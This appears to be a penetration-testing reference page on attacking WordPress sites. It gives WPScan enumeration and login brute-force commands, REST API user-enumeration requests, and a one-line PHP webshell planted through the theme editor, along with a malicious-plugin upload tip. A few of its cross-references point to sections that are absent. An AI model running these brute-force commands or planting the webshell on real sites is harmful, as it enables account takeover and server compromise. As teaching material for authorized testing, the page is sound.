> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# WordPress

WordPress powers a huge share of the web, and almost all of its attack surface comes from the plugin and theme ecosystem rather than WordPress core itself. The workflow is usually: fingerprint the version and installed plugins/themes, cross-reference them against known CVEs, then escalate from there, whether that's a vulnerable plugin, exposed credentials, or a straightforward admin-panel upload once you have valid creds.

> **Unauthenticated Recon**
>
> Version fingerprinting, user enumeration, plugin/theme discovery. No credentials needed, mostly passive against the app itself.

> **Authenticated Exploitation**
>
> Once you have any valid login (even a low-privilege one), the theme editor and plugin upload both turn straight into code execution.

***

## WPScan

WPScan is purpose-built for WordPress and does in one tool what would otherwise take a handful of manual requests, version fingerprinting, plugin/theme enumeration against a vulnerability database, and user enumeration.

```text theme={null}
wpscan --url http://TARGET.TLD
```

Enumerate registered usernames, often the first step toward a login brute force.

```text theme={null}
wpscan --url http://TARGET.TLD --enumerate u
```

Enumerate installed plugins with known vulnerabilities, almost always the fastest path to a CVE-based exploit.

```text theme={null}
wpscan --url http://TARGET.TLD --enumerate vp
```

A broader sweep across plugins, users, themes, and timthumb scripts in one run, with aggressive plugin detection for better coverage.

```text theme={null}
wpscan --url http://TARGET.TLD --enumerate ap,u,vt,tt --verbose --plugins-detection aggressive
```

> [!TIP]
>
> `--plugins-detection` controls how hard WPScan looks for installed plugins. `passive` only checks the homepage source, `aggressive` brute-forces the plugins directory against its full list (slow but thorough), and `mixed` does both, generally the best balance.
>
> ```text theme={null}
> wpscan --url http://TARGET.TLD --plugins-detection mixed
> ```

Login brute forcing against the standard form, or specifically through XML-RPC (see below), which can be faster since it allows batching multiple credential checks per request.

```text theme={null}
wpscan --url http://TARGET.TLD/wp-login.php -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt
```

```text theme={null}
wpscan --url http://TARGET.TLD --password-attack xmlrpc -t 20 -U john -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt
```

> [!NOTE]
>
> An [API token](https://wpscan.com/api) (free tier available) unlocks WPScan's full vulnerability database lookups for plugins and themes. Without one, enumeration still works but you won't get CVE details for what's found.
>
> ```text theme={null}
> wpscan --url http://TARGET.TLD --api-token YOUR_TOKEN --enumerate vp,vt
> ```

### Enumerate Options Reference

The `-e`/`--enumerate` flag accepts a comma-separated list of what to scan for.

<table>
  <colgroup>
    <col width="100" />

    <col width="497" />
  </colgroup>

  <thead>
    <tr>
      <th>Option</th>
      <th>Description</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>`vp`</td>
      <td>Vulnerable plugins</td>
    </tr>

    <tr>
      <td>`ap`</td>
      <td>All plugins (slow)</td>
    </tr>

    <tr>
      <td>`p`</td>
      <td>Popular plugins only</td>
    </tr>

    <tr>
      <td>`vt`</td>
      <td>Vulnerable themes</td>
    </tr>

    <tr>
      <td>`at`</td>
      <td>All themes</td>
    </tr>

    <tr>
      <td>`t`</td>
      <td>Popular themes only</td>
    </tr>

    <tr>
      <td>`u`</td>
      <td>Usernames (ranges supported, e.g. `u1-5`)</td>
    </tr>

    <tr>
      <td>`cb`</td>
      <td>Config backups (publicly exposed `wp-config.php` backups)</td>
    </tr>

    <tr>
      <td>`dbe`</td>
      <td>DB exports (exposed `.sql` dumps)</td>
    </tr>

    <tr>
      <td>`tt`</td>
      <td>Timthumb scripts</td>
    </tr>

    <tr>
      <td>`m`</td>
      <td>Media IDs (ranges supported, e.g. `m1-15`)</td>
    </tr>
  </tbody>
</table>

***

## Manual Enumeration Without WPScan

### WP-JSON REST API

WordPress's built-in REST API leaks user data by default on many installs, worth checking even if WPScan's user enumeration comes up empty.

```text theme={null}
curl http://TARGET.TLD/wp-json/wp/v2/users
```

> [!WARNING]
>
> `/wp-json/wp/v2/pages` can leak the server's internal IP address in some configurations, worth checking during internal network mapping.

Author ID brute-forcing is an older but still-working user enumeration trick, a valid author ID 302-redirects to that user's public author page (revealing their username in the URL), while an invalid one returns a 404.

```text theme={null}
curl -s -o /dev/null -w "%{http_code}" http://TARGET.TLD/?author=1
```

## Interesting Paths

<table>
  <colgroup>
    <col width="239" />

    <col width="428" />
  </colgroup>

  <thead>
    <tr>
      <th>Path</th>
      <th>What's there</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>`/wp-content/plugins/`</td>
      <td>Installed plugins</td>
    </tr>

    <tr>
      <td>`/wp-content/themes/`</td>
      <td>Installed themes</td>
    </tr>

    <tr>
      <td>`/wp-login.php`</td>
      <td>Login form</td>
    </tr>

    <tr>
      <td>`/wp-admin/`</td>
      <td>Admin dashboard (post-login)</td>
    </tr>

    <tr>
      <td>`/wp-config.php`</td>
      <td>DB credentials and auth keys, should never be reachable directly</td>
    </tr>

    <tr>
      <td>`/license.txt`, `/readme.html`</td>
      <td>Often leak the exact WordPress version</td>
    </tr>

    <tr>
      <td>`/xmlrpc.php`</td>
      <td>Legacy RPC API, see above</td>
    </tr>
  </tbody>
</table>

***

## Getting a Webshell (Authenticated)

Once you have admin (or any account with theme-editing rights), the built-in theme editor is the fastest path to code execution, no file upload functionality needed.

**1. Edit a theme file**

In the WordPress admin dashboard, go to **Appearance → Theme Editor**, pick a rarely-used template (a 404 page is a safe choice since it's not linked anywhere), and insert a one-line PHP backdoor:

```php theme={null}
system($_GET[0]);
```

**2. Trigger it directly**

Request the modified file with your command in the query string:

```text theme={null}
http://TARGET.TLD/wp-content/themes/ACTIVE_THEME/404.php?0=id
```

> [!TIP]
>
> If the theme editor is disabled or locked down, **Plugins → Add New → Upload Plugin** with a malicious ZIP (a plugin containing a webshell in its main PHP file) achieves the same result and is often overlooked as an upload vector.

***

## Quick Reference Tools

> **[Hackviser: WPScan](https://hackviser.com/tactics/tools/wpcan)**
>
> Reference used for this page.

> **[HackTricks: WordPress](https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/wordpress.html)**
>
> Deeper dive into XML-RPC, SSRF, and DoS angles covered above.

> **[WPScan](https://github.com/wpscanteam/wpscan)**
>
> The primary WordPress enumeration and vulnerability scanning tool.

> **[WPScan Vulnerability Database](https://wpscan.com/)**
>
> Free API token for full plugin/theme CVE lookups.

> [!WARNING]
>
> Brute forcing logins and uploading plugins both leave obvious artifacts (failed login logs, a new plugin in the dashboard). Make sure both are explicitly in scope before using them.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.